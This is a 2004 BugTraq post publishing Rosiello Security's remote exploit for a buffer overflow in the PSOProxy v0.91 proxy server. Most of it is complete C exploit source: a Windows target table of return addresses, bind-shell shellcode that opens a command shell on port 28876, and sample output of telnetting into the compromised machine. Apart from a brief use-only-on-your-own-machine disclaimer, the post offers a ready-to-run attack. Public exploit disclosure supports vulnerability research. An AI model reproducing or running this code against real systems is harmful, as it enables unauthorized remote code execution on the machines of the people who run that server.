BugTraq
PSOProxy's exploit for Windows by Rosiello Security Feb 25 2004 07:22PM
Angelo Rosiello (angelo rosiello katamail com)


Copyright © Rosiello Security

http://www.rosiello.org

The exploit supports:

Windows XP Home Edtion SP1

Windows XP Pro Edtion SP1

Win2k Pro Edtion

http://www.rosiello.org/en/read_bugs.php?15

http://www.rosiello.org/archivio/psoproxy-exploit.c

best regards,

Rosiello Security

****************************************************************

CODE:

/*

Copyright © Rosiello Security

http://www.rosiello.org

================

-== Remote Exploit for PSOProxy version v0.91 ==--

Code by: rave

Contact: rave (at) rosiello (dot) org [email concealed]

Date: Feb 2004

Bug found by: Donato Ferrante

There is a vulnerability found in the PSOProxy server.

An attacker can execute arbitrary code exploiting remotely a buffer overflow.

The exploit sends:

GET / <1021 x A><adres of the shellcode><shellcode>

This spawns a bindshell on the victim at port 28876..

Usage <C:\>psoproxy-exploit.exe <target host> <target number>

Target Number Target Name Stack Adress

============= =========== ===========

0 Demo 0xBADC0DED

1 Windows XP Home Edtion SP1. 0x00D2FDDA

2 Windows XP Pro Edtion SP1. 0x00EDFDDC

3 Win2k Pro Edtion. 0x00BBFDDC

<C:\> psoproxy-exploit localhost 1

[+] Winsock Inalized

[+] Trying to connect to localhost:8080

[+] socket inalized

[+] Overflowing string is Prepared

[+] Connected.

[+] Overflowing string had been send

<C:\> telnet localhost 28876

Microsoft Windows XP [versie 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

<D:\>

DO NOT USE THIS CODE ON DIFFERENT MACHINES BUT YOURS!!!

Respect law as we do!

Special Tankz to:

opy { win2k 0wnage !! ty for lending me ur box }

B0f { Hope to work with u again in the futhure like we do all the time }

Dragnet { Always willing to help me out }

Angelo { Verry good maffio`so }

Greetz go out to:

Kajun { Verry suportive guy }

NrAziz { 0wns pakistan hax0r scene ! beware always say mr NrAziz }

sloth { good guy }

Mercy { Hope to see u soon }

Netric security {www.netric.org/.de }

[+] All the hax0rs i forgot.

Hate Messages:

Ziphie { U didnt get mine bitch }

OOh and Li0n7 voila fr {

you're doing it all wrong, your exploit doesn't work!

http://www.securityfocus.com/archive/1/354769/2004-02-15/2004-02-21/0

k/j man, keep on doing the good stuff and next time add some more stack adresses so

it would work on other os`s...

}

Advisory at: http://www.rosiello.org/en/read_bugs.php?15

*/

#include <stdio.h>

#include <winsock2.h>

#include <errno.h>

#include <windows.h>

// Darn fucking 1337 macro shit

#define ISIP(m) (!(inet_addr(m) ==-1))

#define offset 1024 //1024

struct remote_targets {

char *os;

unsigned long sh_addr;

} target [] ={

/* Option`s for your eyes only :D*/

"Demo ",

0xbadc0ded,

"Windows XP Home Edtion SP1. ",

0x00D2FDDA,

"Windows XP Pro Edtion SP1. ",

0x00edfddc,

"Win2k Pro Edtion. ",

0x00bbfddc,

};

//Bindcode spawns a binshell on port 28876 (Thanks to metasploit.com guys)

unsigned char shellcode[] =

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\xeb\x43\x56\x57\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x52\x8b\x52"

"\x20\x01\xea\x31\xc0\x31\xc9\x41\x8b\x34\x8a\x01\xee\x31\xff\xc1"

"\xcf\x13\xac\x01\xc7\x85\xc0\x75\xf6\x39\xdf\x75\xea\x5a\x8b\x5a"

"\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01"

"\xe8\x5f\x5e\xff\xe0\xfc\x31\xc0\x64\x8b\x40\x30\x8b\x40\x0c\x8b"

"\x70\x1c\xad\x8b\x68\x08\x31\xc0\x66\xb8\x6c\x6c\x50\x68\x33\x32"

"\x2e\x64\x68\x77\x73\x32\x5f\x54\xbb\x71\xa7\xe8\xfe\xe8\x90\xff"

"\xff\xff\x89\xef\x89\xc5\x81\xc4\x70\xfe\xff\xff\x54\x31\xc0\xfe"

"\xc4\x40\x50\xbb\x22\x7d\xab\x7d\xe8\x75\xff\xff\xff\x31\xc0\x50"

"\x50\x50\x50\x40\x50\x40\x50\xbb\xa6\x55\x34\x79\xe8\x61\xff\xff"

"\xff\x89\xc6\x31\xc0\x50\x50\x35\x02\x01\x70\xcc\xfe\xcc\x50\x89"

"\xe0\x50\x6a\x10\x50\x56\xbb\x81\xb4\x2c\xbe\xe8\x42\xff\xff\xff"

"\x31\xc0\x50\x56\xbb\xd3\xfa\x58\x9b\xe8\x34\xff\xff\xff\x58\x60"

"\x6a\x10\x54\x50\x56\xbb\x47\xf3\x56\xc6\xe8\x23\xff\xff\xff\x89"

"\xc6\x31\xdb\x53\x68\x2e\x63\x6d\x64\x89\xe1\x41\x31\xdb\x56\x56"

"\x56\x53\x53\x31\xc0\xfe\xc4\x40\x50\x53\x53\x53\x53\x53\x53\x53"

"\x53\x53\x53\x6a\x44\x89\xe0\x53\x53\x53\x53\x54\x50\x53\x53\x53"

"\x43\x53\x4b\x53\x53\x51\x53\x87\xfd\xbb\x21\xd0\x05\xd0\xe8\xdf"

"\xfe\xff\xff\x5b\x31\xc0\x48\x50\x53\xbb\x43\xcb\x8d\x5f\xe8\xcf"

"\xfe\xff\xff\x56\x87\xef\xbb\x12\x6b\x6d\xd0\xe8\xc2\xfe\xff\xff"

"\x83\xc4\x5c\x61\xeb\x89\x41";

// now what would this button do ?

char *host_ip;

u_long get_ip(char *hostname)

{

struct hostent *hp;

if (ISIP(hostname)) return inet_addr(hostname);

if ((hp = gethostbyname(hostname))==NULL)

{ perror ("[+] gethostbyname() failed check the existance of the host.\n");

exit(-1); }

return (inet_ntoa(*((struct in_addr *)hp->h_addr)));

}

/// oooh yeah uuuh right ....

int usage (char *what)

{

int i;

fprintf(stdout,"Copyright © Rosiello Security\n");

fprintf(stdout,"http://www.rosiello.org\n\n");

fprintf(stdout,"Usage %s <target host> <target number>\n",what);

fprintf(stdout,"Target Number\t\tTarget Name\t\t\t\tStack Adress\n");

fprintf(stdout,"=============\t\t===========\t\t\t\t===========\n");

for (i=0;i < 4;i++)

fprintf(stdout,"%d\t\t\t%s\t\t0x%p\n",i,target[i].os,target[i].sh_addr);

exit(0);

}

int main(int argc,char **argv)

{

char buffer[offset*2]="get /",*ptr,*address;

int sd,oops,i,choise;

struct sockaddr_in ooh;

WSADATA wsadata;

WSAStartup(0x101, &wsadata);

if (argc < 2) usage(argv[0]);

address=argv[1];

choise=atoi(argv[2]);

fprintf(stdout,"[+] Winsock Inalized\n");

/* Lets start making a litle setup

Change the port if you have to */

ooh.sin_addr.s_addr = inet_addr(get_ip(address));

ooh.sin_port = htons(8080);

ooh.sin_family = AF_INET;

fprintf(stdout,"[+] Trying to connect to %s:%d\n",address,8080);

// ok ok here`s ur sock()

sd = socket(AF_INET, SOCK_STREAM,IPPROTO_TCP);

if (!sd<0) { fprintf(stderr,"[!] socket() failed.\n");exit (-1); }

fprintf(stdout,"[+] socket inalized\n");

/* inalizing the expploiting buffer read the file comments for the details */

ptr=buffer+strlen(buffer);

for (i=strlen(buffer);i < offset;i++) *ptr++=(char)0x2e;

for (i=strlen(buffer);i < offset+6;i++) { *ptr++=(char)0xa; *ptr++=(char)0xd ;}

memcpy(buffer+strlen(buffer),((char *)&shellcode),strlen(shellcode));

memcpy(buffer+offset,((char *)&target[choise].sh_addr),3);

fprintf(stdout,"[+] Overflowing string is Prepared\n");

// Knock knock ... hi i want to hook up with you

oops=connect(sd, (struct sockaddr *)&ooh, sizeof( ooh ));

if(oops!=0) { fprintf(stderr,"[!] connect() failed.\n"); exit(-1); }

// yep wher`e in :D

fprintf(stdout,"[+] Connected.\n");

// Sending some Dangerous stuff

i = send(sd,buffer,strlen(buffer),0);

if (!i <0) { fprintf (stdout,"[!] Send() failed\n"); exit (-1) ; }

fprintf(stdout,"[+] Overflowing string had been send\n");

/* May psoproxy rest in peace (have cold a nice one and telnet to <host> 28876

<C:\> telnet localhost 28876

Microsoft Windows XP [versie 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

D:\>

*/

// Bring in the cleaners !!

WSACleanup();

// [EOF]

return 0;

}

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